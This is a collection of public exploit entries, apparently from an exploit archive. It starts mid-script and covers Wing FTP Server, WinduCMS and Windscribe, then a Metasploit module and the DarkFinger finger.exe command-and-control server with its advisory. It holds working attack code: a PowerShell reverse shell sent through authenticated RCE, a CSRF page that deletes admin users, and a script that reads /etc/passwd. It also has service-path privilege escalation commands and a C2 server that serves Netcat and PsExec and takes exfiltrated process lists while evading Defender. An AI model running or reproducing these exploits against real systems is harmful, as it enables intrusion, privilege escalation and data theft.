		out = stdout.read().decode('utf-8')
		err = stderr.read().decode('utf-8')

		log(f"STDOUT - {out}")
		log(f"STDERR - {err}")
		if "root:$1$h00p" in out:
			print(f"[*] Success!  The root password has been successfully changed.")
			print(f"\n\tssh {username}@{hostname} -p{port}")
			print(f"\tThen: su root (password is h00ph00p)")
		else:
			print(f"[!] Something went wrong... SSH in to manually check /etc/shadow.  Permissions may have been changed to 666.")

		log("exit prepareServer")
	finally:
		client.close()

main()
            
# Exploit Title: Wing FTP Server 6.0.7 - Unquoted Service Path
# Date: 2019-12-30
# Exploit Author: Nawaf Alkeraithe
# Vendor Homepage: https://www.wftpserver.com/
# Version: 6.0.7
# Tested on: Windows 10
# CVE : N/A

# PoC:

C:\Users\user>sc qc "Wing FTP Server"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Wing FTP Server
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wing FTP
Server\WFTPServer.exe service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wing FTP Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
# Exploit Title: Wing FTP Server - Authenticated RCE
# Date: 02/06/2022
# Exploit Author: notcos
# Credit: Credit goes to the initial discoverer of this exploit, Alex Haynes.
# Vendor Homepage: https://www.wftpserver.com/
# Software Link: https://www.wftpserver.com/download/WingFtpServer.exe
# Version: <=4.3.8
# Tested on: Windows

# !/usr/bin/python3
import requests
import sys
import base64
import urllib.parse

# Get command line arguments
if len(sys.argv) != 7:
    print("This exploit will invoke a nishang tcp reverse shell on the target. Start your listener before executing.")
    print("Usage:   %s <TARGET> <TARGET_PORT> <LOCAL_IP> <LOCAL_PORT> <USER> <PASSWORD>" % sys.argv[0])
    print("Example:   %s 0.0.0.0 8000 127.0.0.1 9001 notcos coolpass" % sys.argv[0])
    exit(1)

else:
    target = sys.argv[1]
    targetport = sys.argv[2]
    localip = sys.argv[3]
    localport = sys.argv[4]
    user = sys.argv[5]
    password = sys.argv[6]

    print('''
          .--.
         / ,~a`-,
         \ \_.-"`
          ) (        __      __ .__            ____      __________ _________  ___________
        ,/ ."\      /  \    /  \|__|  ____    / ___\     \______   \\\\_   ___ \ \_   _____/
       /  (  |      \   \/\/   /|  | /    \  / /_/  >     |       _//    \  \/  |    __)_
      /   )  ;       \        / |  ||   |  \ \___  /      |    |   \\\\     \____ |        \\
     /   /  /         \__/\  /  |__||___|  //_____/       |____|_  / \______  //_______  /
   ,/_."` /`               \/            \/                      \/         \/         \/
    /_/\ |___
       `~~~~~`
          ''')

    # Create the login request
    url = 'http://' + target + ':' + targetport + '/admin_loginok.html'
    data = ('username=' + user + '&password=' + password + '&username_val=' + user + '&password_val=' + password + '&su'
            'bmit_btn=%2bLogin%2b')
    headers = {
        "User-Agent": "Googlebot"
    }

    # Send the POST request to log in and save the cookie
    r = requests.post(url, headers=headers, data=data)
    cookie = 'UIDADMIN=' + r.cookies['UIDADMIN']
    print('Login successful - Cookie: ' + cookie)
    url = "http://" + target + ":" + targetport + "/admin_lua_script.html"
    headers = {
        "User-Agent": "Googlebot",
        "Cookie": cookie,
    }

    # Base64 encode a nishang reverse tcp shell one liner and then url encode it
    nish = ("$client = New-Object System.Net.Sockets.TCPClient(\"" + localip + "\"," + localport + ");$stream = $client"
            ".GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$d"
            "ata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1"
            " | Out-String );$sendback2  = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCI"
            "I).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()")
    encodedStr = str(base64.b64encode(nish.encode('UTF-16LE')), "UTF8")
    urlpayload = urllib.parse.quote(encodedStr, safe='+')
    finalload = "command=os.execute('powershell -Encodedcommand " + urlpayload + "')"

    # Send the reverse shell payload
    try:
        r = requests.post(url, headers=headers, data=finalload, timeout=0.1)
    except requests.exceptions.ReadTimeout: 
        print("The payload has been sent. Check your listener.")
        pass
            
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Date: 2020-03-10
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://www.wftpserver.com
# Version: v6.2.6
# Tested on: Windows 10

*Summary:*
An authenticated CSRF exists in web client and web administration of Wing
FTP v6.2.6, a crafted HTML page could delete admin user from the
application where as administration needs to re-install the program and add
admin user again. Issue was patched in v6.2.7.

*Proof of concept:*
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://IP:5466/admin_delete_admin.html" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="r" value="0&#46;9219583354400562" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

*Patch (lua/cgiadmin.lua):*
URL: https://www.wftpserver.com/serverhistory.htm

local outfunc = "echo"

local function out (s, i, f)
s = string.sub(s, i, f or -1)
if s == "" then return s end
s = string.gsub(s, "([\\\n\'])", "\\%1")
s = string.gsub(s, "\r", "\\r")
return string.format(" %s('%s'); ", outfunc, s)
end

local function translate (s)
s = string.gsub(s, "<%%(.-)%%>", "<??lua %1 ??>")
local res = {}
local start = 1
while true do
local ip, fp, target, exp, code = string.find(s, "<%?%?(%w*)[
\t]*(=?)(.-)%?%?>", start)
if not ip then break end
table.insert(res, out(s, start, ip-1))
if target ~= "" and target ~= "lua" then
table.insert(res, out(s, ip, fp))
else
if exp == "=" then
table.insert(res, string.format(" %s(%s);", outfunc, code))
else
table.insert(res, string.format(" %s ", code))
end
end
start = fp + 1
end
table.insert(res, out(s, start))
return table.concat(res)
end

local function compile (src, chunkname)
return loadstring(translate(src),chunkname)
end

function include (filename, env)
if incfiles[filename] == nil then
incfiles[filename] = true;
path = c_GetAppPath()
path = path .. "/webadmin/"..filename
local errstr = string.format("<b>The page '%s' does not
exist!</b>",filename)
local fh,_ = io.open (path)
if not fh then
echo_out = echo_out..errstr
return
end
local src = fh:read("*a")
fh:close()
local prog = compile(src, path)

local _env
if env then
_env = getfenv (prog)
setfenv (prog, env)
end

local status,err = pcall(prog)
if not status then
if type(err) == "string" and not string.find(err,"exit function!")  then
print(string.format("some error in %s!",err))
end
return
end
end
end

function var_dump(var)
print("{")
if type(var) == "string" or type(var) == "number" or type(var) == "boolean"
or type(var) == "function" then
print(var)
elseif(type(var) == "thread") then
print("thread")
elseif(type(var) == "userdata") then
print("userdata")
elseif type(var) == "nil" then
print("nil")
elseif type(var) == "table" then
for k,v in pairs(var) do
if type(k) == "string" then k="'"..k.."'" end
if(type(v) == "string") then
print(k.."=>'"..v.."',")
elseif(type(v) == "number" or type(v) == "boolean") then
print(k.."=>"..tostring(v)..",")
elseif(type(v) == "function") then
print(k.."=>function,")
elseif(type(v) == "thread") then
print(k.."=>thread,")
elseif(type(v) == "userdata") then
print(k.."=>userdata,")
elseif(type(v) == "nil") then
print(k.."=>nil,")
elseif(type(v) == "table") then
print(k.."=>table,")
else
print(k.."=>object,")
end
end
else
print("object")
end
print("}")
end

function init_get()
local MatchedReferer = true
if _SESSION_ID ~= nil then
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
if Referer ~= nil and Referer ~= "" then
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
if Host ~= nil and Host ~= "" then
if string.sub(Referer,8,string.len(Host)+7) == Host or
string.sub(Referer,9,string.len(Host)+8) == Host then
MatchedReferer = true
else
MatchedReferer = false
exit()
end
end
else
MatchedReferer = false
end
end

string.gsub (urlparam, "([^&=]+)=([^&=]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_GET,key,val)
else
rawset(_GET,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_GET,unescape(key),unescape(val))
else
--rawset(_GET,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end

function init_post()
local MatchedReferer = true
if _SESSION_ID ~= nil then
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
if Referer ~= nil and Referer ~= "" then
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
if Host ~= nil and Host ~= "" then
if string.sub(Referer,8,string.len(Host)+7) == Host or
string.sub(Referer,9,string.len(Host)+8) == Host then
MatchedReferer = true
else
MatchedReferer = false
exit()
end
end
else
MatchedReferer = false
end
end

if
string.find(strHead,"[cC]ontent%-[tT]ype:%s?multipart/form%-data;%s?boundary=")
then
string.gsub (strContent,
"[cC]ontent%-[dD]isposition:%s?form%-data;%s?name=\"([^\"\r\n]*)\"\r\n\r\n([^\r\n]*)\r\n",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
else
string.gsub (strContent, "([^&=\r\n]+)=([^&=\r\n]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end
end

function init_session()
if _COOKIE["UIDADMIN"] ~= nil then
_SESSION_ID = _COOKIE["UIDADMIN"]
SessionModule.load(_SESSION_ID)
end
end

function init_cookie()
local cookiestr = string.match(strHead,"[cC]ookie:%s?(%s[^\r\n]*)")
if cookiestr == nil or cookiestr == "" then return end
string.gsub (cookiestr, "([^%s;=]+)=([^;=]*)[;%s]?",
function (key, val)
rawset(_COOKIE,unescape(key),unescape(val))
end
)
end

function setcookie(name,value,expire_secs)
if name == "UIDADMIN" then return end
local expiretime = os.date("!%A, %d-%b-%Y %H:%M:%S GMT",
os.time()+3600*24*365)
_SETCOOKIE = _SETCOOKIE.."Set-Cookie: "..name.."="..value..";
expires="..expiretime.."\r\n"
rawset(_COOKIE,name,value)
end

function getcookie(name)
if name == "UIDADMIN" then return end
return _COOKIE[name]
end

function deletecookie(name)
setcookie(name,"",-10000000)
end

function deleteallcookies()
for name,_ in pairs(_COOKIE) do
deletecookie(name)
end
end

local cookie_metatable =
{
__newindex = function(t,k,v)
setcookie(k,v,360000)
end
}
setmetatable(_COOKIE,cookie_metatable)

session_metatable =
{
__newindex = function(t,k,v)
if type(v) ~= "table" then
if k ~= nil then
k = string.gsub(k,"'","")
k = string.gsub(k,"\"","")
end
if v ~= nil then
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
end
rawset(_SESSION,k,v)
SessionModule.save(_SESSION_ID)
end
end
}
--setmetatable(_SESSION,session_metatable)

function init_all()
init_cookie()
init_session()
init_get()
init_post()
end

function setContentType(typestr)
_CONTENTTYPE = typestr
end

function exit()
error("exit function!")
end
            
#!/usr/bin/python
#
# Exploit Title: WinduCMS <= 3.1 - Local File Disclosure
# Date: 2017-12-03
# Exploit Author: Maciek Krupa
# Vendor Homepage: http://windu.org
# Version: 3.1
# Tested on: Linux Debian 9
#
# // Description //
#   
# Local File Disclosure vulnerability exists in WinduCMS through a vulnerable PHPMailer version 5.2.1 used here
# 
# // PoC //
#
# It requires a contact form present on the website
#
# Example: {{W name=contactForm inputs="name" email="root@localhost"}}
#

from requests_toolbelt import MultipartEncoder
import requests

print("WinduCMS <= 3.1 Exploit")
 
url = 'http://localhost/contact_page?mn=contactform.message.negative'
email = 'attacker@example.com'
payload = '<img src="/etc/passwd"'
form_input = 'name'
fields = {'form_key': 'contactForm', form_input: 'Attacker', 'email': email, 'content': payload}
m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundary1500777958139315')
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0', 'Content-Type': m.content_type}
print('Sending payload to target...')
r = requests.post(url, data=m.to_string(), headers=headers)
if r.status_code == 200:
	print('Exploited.')
            
# Exploit Title: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
# Date: 2020-06-26
# Exploit Author: Ethan Seow
# Vendor Homepage: https://windscribe.com
# Version: v1.83 Build 20
# Tested on: Microsoft Windows 10 Home 10.0.18363 Build 18363


#filename : exploit.bat

#Code start
@echo off

sc config WindscribeService binPath="cmd /k {PATH TO REVERSE SHELL e.g.
C:\Users\Public\payload.exe}"
sc stop WindscribeService
sc start WindscribeService
echo Exploit success! SYSTEM reverse shell should be triggered :DDDDD
pause

#Code end
            
# Exploit Title: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
# Date: 2020-04-10
# Exploit Author: MgThuraMoeMyint
# Vendor Homepage: https://windscribe.com
# Version: v1.83 Build 20
# Tested on: Windows 10, version 1909

In windscribe v1.83 , there is a service via windscribe that every
authenticated user can modify.

C:\Users\mgthura>sc qc WindscribeService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Windscribe\WindscribeService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WindscribeService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

That shows that running as Local System this means that the
BINARY_PATH_NAME parameter can be modified to execute any command on
the system.
I'll change binary_path_name with a command that add a user to
administrators group , so it will be

C:\Users\mgthura>sc config WindscribeService binPath= "net localgroup
administrators pentest /add"
[SC] ChangeServiceConfig SUCCESS

C:\Users\mgthura>sc stop WindscribeService

SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x4
WAIT_HINT : 0x0

C:\Users\mgthura>sc start WindscribeService
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

Restarting service will cause the service to fail as the binary path
would not point into the actual executable of the service.
However the command will be executed successfully and the user will be
added to the local administrators group.
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Services
  include Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windscribe WindscribeService Named Pipe Privilege Escalation',
      'Description'    => %q{
        The Windscribe VPN client application for Windows makes use of a
        Windows service `WindscribeService.exe` which exposes a named pipe
        `\\.\pipe\WindscribeService` allowing execution of programs with
        elevated privileges.

        Windscribe versions prior to 1.82 do not validate user-supplied
        program names, allowing execution of arbitrary commands as SYSTEM.

        This module has been tested successfully on Windscribe versions
        1.80 and 1.81 on Windows 7 SP1 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Emin Ghuliev', # Discovery and exploit
        'bcoles'        # Metasploit
      ],
      'References'     =>
        [
          ['CVE', '2018-11479'],
          ['URL', 'http://blog.emingh.com/2018/05/windscribe-vpn-privilege-escalation.html'],
          ['URL', 'https://pastebin.com/eLG3dpYK']
        ],
      'Platform'       => ['win'],
      'SessionTypes'   => ['meterpreter'],
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => '2018-05-24',
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
        },
      'Notes'          =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'DefaultTarget'  => 0))
    register_advanced_options [
      OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
    ]
  end

  def base_dir
    datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
  end

  def service_exists?(service)
    srv_info = service_info(service)

    if srv_info.nil?
      vprint_warning 'Unable to enumerate Windows services'
      return false
    end

    if srv_info && srv_info[:display].empty?
      return false
    end

    true
  end

  def write_named_pipe(pipe, command)
    kt = "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    kt << "\x00\x00\x00\x00"
    kt << [command.force_encoding('UTF-8').codepoints.map { |c| "%04X" % c }.join].pack('H*')
    kt << "\x00" * (32_005 - kt.length)

    print_status "Sending #{command} to #{pipe} ..."

    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0, nil, 'OPEN_EXISTING', 0, nil)
    handle = r['return']

    if handle == 0xffffffff # INVALID_HANDLE_VALUE
      print_error "Invalid handle. #{pipe} named pipe not found, or already opened"
      return false
    end

    vprint_good("Opended #{pipe}! Proceeding ...")

    begin
      w = client.railgun.kernel32.WriteFile(handle, kt, kt.length, 4, nil)
      if w['return'] == false
        return false
      end
    ensure
      session.railgun.kernel32.CloseHandle(handle)
    end

    true
  rescue
    false
  end

  def check
    service = 'WindscribeService'

    unless service_exists? service
      return CheckCode::Safe("Service '#{service}' does not exist")
    end

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_system?
      fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'
    end

    payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
    payload_exe = generate_payload_exe
    vprint_status "Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ..."
    write_file payload_path, payload_exe
    register_file_for_cleanup payload_path

    unless write_named_pipe("\\\\.\\pipe\\WindscribeService", payload_path)
      fail_with Failure::Unknown, 'Failed to write to pipe'
    end
  end
end
            
# Title: Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software
# Author: John Page (aka hyp3rlinx)		
# Date: 2020-09-16
# Website: hyp3rlinx.altervista.org
# Source:  http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt
# twitter.com/hyp3rlinx
# ISR: ApparitionSec

Microsoft Windows TCPIP Finger Command "finger.exe" that ships with the OS, can be used as a file downloader and makeshift C2 channel.
Legitimate use of Windows Finger Command is to send Finger Protocol queries to remote Finger daemons to retrieve user information.
However, the finger client can also save the remote server response to disk using the command line redirection operator ">".

Intruders who compromise a computer may find it is locked down and "unknown" applications may be unable to download programs or tools.
By using built-in native Windows programs, its possible they may be whitelisted by installed security programs and allowed to download files.

Redteams and such using LOL methods have made use of "Certutil.exe", native Windows program for downloading files. However, Certutil.exe is
recently blocked by Windows Defender Antivirus and logged as event "Trojan:Win32/Ceprolad.A" when it encounters http/https://.

Therefore, using Windows finger we can bypass current Windows Defender security restrictions to download tools, send commands and exfil data.
The Finger protocol as a C2 channel part works by abusing the "user" token of the FINGER Query protocol "user@host". C2 commands masked as
finger queries can download files and or exfil data without Windows Defender interference.

Download files:
C:\> finger <C2-Command>@HOST > Malwr.txt

Exfil running processes:
C:\> for /f "tokens=1" %i in ('tasklist') do finger %i@192.168.1.21

Typically, (Port 79) default port used by FINGER protocol is often blocked by organizations. Privileged users can bypass this using
Windows NetSh Portproxy. This can allow us to bypass Firewall restrictions to reach servers using unrestricted ports like 80/443.
Portproxy queries are then sent first to the Local Machines ip-address which are then forwarded to the C2 server specified.

Port 43 (WHOIS) traffic.
netsh interface portproxy add v4tov4 listenaddress=[LOCAL-IP] listenport=79 connectaddress=[C2-Server] connectport=43
netsh interface portproxy add v4tov4 listenaddress=[LOCAL-IP] listenport=43 connectaddress=[LOCAL-IP] connectport=79

To display Portproxy use "C:\>netsh interface portproxy show all".

E.g. using Port 79
Ncat64.exe "nc@C2-Server" > tmp.txt

E.g. using Portproxy, send the query to local-ip first.
Ncat64.exe "nc@Local-IP" > tmp.txt

To leverage Windows finger.exe successfully as a file downloader and help evade network security devices, serve Base64 encoded text-files.
DarkFinger.py expects to receive the first two characters of the filename for the Finger Protocol Host token part for file downloads.

DarkFinger C2 expects exfil data to prefixed with the dot "." character, so any arbitrary inbound querys are not confused for exfil.
This can be changed to whatever or even expanded upon to use XOR obfuscation methods etc... as this is just for basic PoC.

[Event Logs / Forensics]
Certutil.exe file downloads are now blocked and logged by Windows Defender.

"Windows Defender Antivirus has taken action to protect this machine from malware or other potentially unwanted software.

 	Name: Trojan:Win32/Ceprolad.A
 	ID: 2147726914
 	Severity: Severe
 	Category: Trojan
        ... etc"

PowerShell, also used as an LOL method to download files usually generates Windows event logs. Finger initiated downloads write
to disk and will leave forensic artifacts. Finger TCP/IP traffic going out to Port 80/443 minus the HTTP protocol may stand out as well.
However, searching the Windows event logs for finger.exe entries, I found no trace of it generating Windows event logs anywhere.

DarkFinger.py C2 is very basic with no security. It's only to demonstrate using Windows Finger Command for as a C2 channel
and show the possibilities. Therefore, anyone can request to change the Port DarkFinger C2 listens on and or download files.

During my research, I found nothing on the internet publicly using or documenting Windows TCPIP Finger Command for use as C2 channel.
Therefore, I release "DarkFinger.py" C2 server and "DarkFinger-Agent.bat" which calls the Windows finger.exe in attacker friendly ways.

Tested successfully Windows 10.
 

[DarkFinger-C2.py]
import socket,sys,re,time,os,argparse
from subprocess import *
from subprocess import Popen, PIPE, STDOUT

#DarkFinger / Windows Finger TCPIP Command C2 Server (c)
#Downloader and Covert Data Tunneler
#By John Page (aka hyp3rlinx)
#ApparitionSec
#twitter.com/hyp3rlinx
#
#File Downloads must be Base64 encoded text-files.
#Agents can change the port DarkFinger listens on dynamically:
#E.g. set to listen on port 80
#C:\>finger.exe !80!@DarkFinger-Server
#When not using Port 79, we need a Portproxy to send Port 79 traffic outbound to the specified Port.  
#Also, when using Ports other than Port 79 (default) we issue queries first to the machine running the Agent E.g.
#C:\>finger.exe <Command>@<Local-Machines-IP>
#
#Agents can change the Download wait time, to try an ensure files are fully downloaded before closing connections.
#Default time sent by the DF-Agent.bat PoC script is set to 10 seconds when issuing Download commands.
#Changing wait time before closing the socket when downloading PsExec64.exe E.g.
#C:\>finger.exe ps%<Wait-Time-Secs>%@%<DarkFinger-Server>%
#==============================================================================================================
#
port = 79                                    #Default if the client unable to Portproxy, use port 80/443 if possible.
downloads_dir = "Darkfinger_Downloads"       #Directory containing the Base64 encoded files for download
nc64 = downloads_dir+"\\nc.txt"              #Base64 encoded Netcat 
psexec = downloads_dir+"\\ps.txt"            #Base64 encoded PsExec64
byte_sz = 4096                               #Socket recv 
allowed_ports = [22,43,53,79,80,443]         #Restrict to a few.

BANNER="""
    ____             __   _______                      
   / __ \____ ______/ /__/ ____(_)___  ____ ____  _____
  / / / / __ `/ ___/ //_/ /_  / / __ \/ __ `/ _ \/ ___/
 / /_/ / /_/ / /  / ,< / __/ / / / / / /_/ /  __/ /    
/_____/\__,_/_/  /_/|_/_/   /_/_/ /_/\__, /\___/_/     
                                    /____/         v1
                                    
                           Finger TCPIP Command C2 Server
                                             By hyp3rlinx
                                            ApparitionSec
"""

def remove_cert_info(f):
    try:
        r1 = open(f)
        lines = r1.readlines()
        lines = lines[1:]
        r1.close()
        w1 = open(f,'w')
        w1.writelines(lines)
        w1.close()

        r2 = open(f)
        lines2 = r2.readlines()
        lines2 = lines2[:-1]
        r2.close()
        w2 = open(f,'w')
        w2.writelines(lines2)
        w2.close()
    except Exception as e:
        print(str(e))
        exit()
    

def create_base64_files(file_conf):
    global downloads_dir
    if os.path.exists(file_conf):
        if os.stat(file_conf).st_size == 0:
            print("[!] Warn: Supplied conf file is empty, no downloads were specified!")
            exit()
    else:
        print("[!] Supplied conf file does not exist :(")
        exit()
    try:
        path=os.getcwd()
        if not os.path.exists(path+"\\"+downloads_dir):
            os.makedirs(downloads_dir)
        f=open(file_conf, "r")
        for x in f:  
            x = x.strip()
            if os.path.exists(path+"\\"+x):
                proc = Popen(["certutil.exe", "-encode", path+"\\"+x, path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt"],
                             stdout=PIPE, stderr=PIPE, shell=False)
                out, err = proc.communicate()
                if "ERROR_FILE_EXISTS" in str(out):
                    print("[!] Cannot encode " + x[:2]+".txt" + " as it already exists, delete it (-d flag) and try again :(")
                    exit()
                time.sleep(0.5)
                #Remove certificate info generated by Windows Certutil.
                if os.path.exists(path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt"):
                    remove_cert_info(path+"\\"+downloads_dir+"\\"+x[:2].lower()+".txt")
                    print("[+] Created " + x + " Base64 encoded text-file "+x[:2].lower()+".txt" +" for download.")
            else:
                print("[!] Warn: File specified in the conf file to Base64 encode ("+x+") does not exist!")
                exit()
        f.close()
    except Exception as e:
        print(str(e))


def delete_base64_files():
    global downloads_dir
    path=os.getcwd()
    if os.path.exists(path+"\\"+downloads_dir):
        try:
            filelist = [ f for f in os.listdir(path+"\\"+downloads_dir) if f.endswith(".txt") ]
            for f in filelist:
                os.remove(os.path.join(path+"\\"+downloads_dir, f))
        except Exception as e:
            print(str(e))
            exit()
    
def B64Exec(t):
    payload=""
    try:
        f=open(t, "r")
        for x in f:
            payload += x
        f.close()
    except Exception as e:
        pass
        print(str(e))
        return 9
    return payload


def finga_that_box(cmd, victim):
    cmd = cmd.rstrip()
    if cmd[:1] != ".":
        cmd = cmd[0:2]
    if cmd == "nc":
        print("[+] Serving Nc64.exe")
        sys.stdout.flush()
        return nc64
    if cmd == "ps":
        print("[+] Serving PsExec64.exe")
        sys.stdout.flush()
        return psexec
    if cmd[:1] == ".":
        print("[+] Exfil from: "+ victim[0] + " " +cmd[1:])
        sys.stdout.flush()
    return False


def fileppe_fingaz():
    global byte_sz, port, allowed_ports
    delay=1
    s = socket.socket()
    host = ""
    try:
        if port in allowed_ports:
            s.bind((host, port))
            s.listen(5)
        else:
            print("[!] Port disallowed, you can add it to the 'allowed_ports' list.")
            exit()
    except Exception as e:
        print(str(e))
        exit()
    print("[/] Listening port:", str(port))
    sys.stdout.flush()
    try:
        while True:
            conn, addr = s.accept()
            a = conn.recv(byte_sz).decode() #Py 2
            #Let agent change port dynamically
            try:
                if a[:1]=="!":
                    idx = a.rfind("!")
                    if idx != -1:
                        port = str(a[1:idx])
                        if int(port) in allowed_ports:
                            port = int(port)
                            time.sleep(1)
                            conn.close()
                            s.close()
                            fileppe_fingaz()
                        else:
                            print("[!] Disallowed port change request from: %s" % addr[0])
                                
                #Let agent set time to wait dynamically.
                if a[:1] != "." and a[:1] != "!":
                    if re.search(r'\d\d', a[2:4]):
                        delay=int(a[2:4])
                        print("[-] Agent set the delay to: %d" % delay)
                        sys.stdout.flush()
            except Exception as e:
                print(str(e))
                pass
            t = finga_that_box(a, addr)
            if t:
                exe = B64Exec(t)
                if exe == 9:
                    conn.close()
                    continue
                if exe:
                    try:
                        conn.sendall(exe.encode())
                        time.sleep(delay)
                        conn.close()
                        delay=1
                    except Exception as e:
                        pass
                        #print(str(e))
                        sys.stdout.flush()
            conn.close()
            delay=1
        s.close()
    except Exception as e:
        print(str(e))
        pass
    finally:
        s.close()
        fileppe_fingaz()


def about():
    print("[+] Darkfinger is a basic C2 server that processes Windows TCPIP Finger Commands.")
    print(" ")
    print("[+] File download requests require the first two chars (lowercase) for the file we want,")
    print("[+] plus the wait time, this trys to ensure a full transmit before close the connection.")
    print("[+] Download Ncat64.exe and wait 30-secs before closing the socket:")
    print("[+] finger.exe nc30@DarkFinger > tmp.txt")
    print(" ")
    print("[+] Exfil Windows Tasklist using the '.' character used as the DarkFinger exfil flag:")
    print("[+] cmd /c for /f \"tokens=1\" %i in ('tasklist') do finger .%i@DarkFinger-Server")
    print("[+]")
    print("[+] If Port 79 is blocked, use Windows Netsh Portproxy to reach allowed internet Ports.")
    print("[+] Dynamically change the port Darkfinger C2 listens on to port 80:")
    print("[+] finger.exe !80!@DarkFinger-Server")
    print(" ")
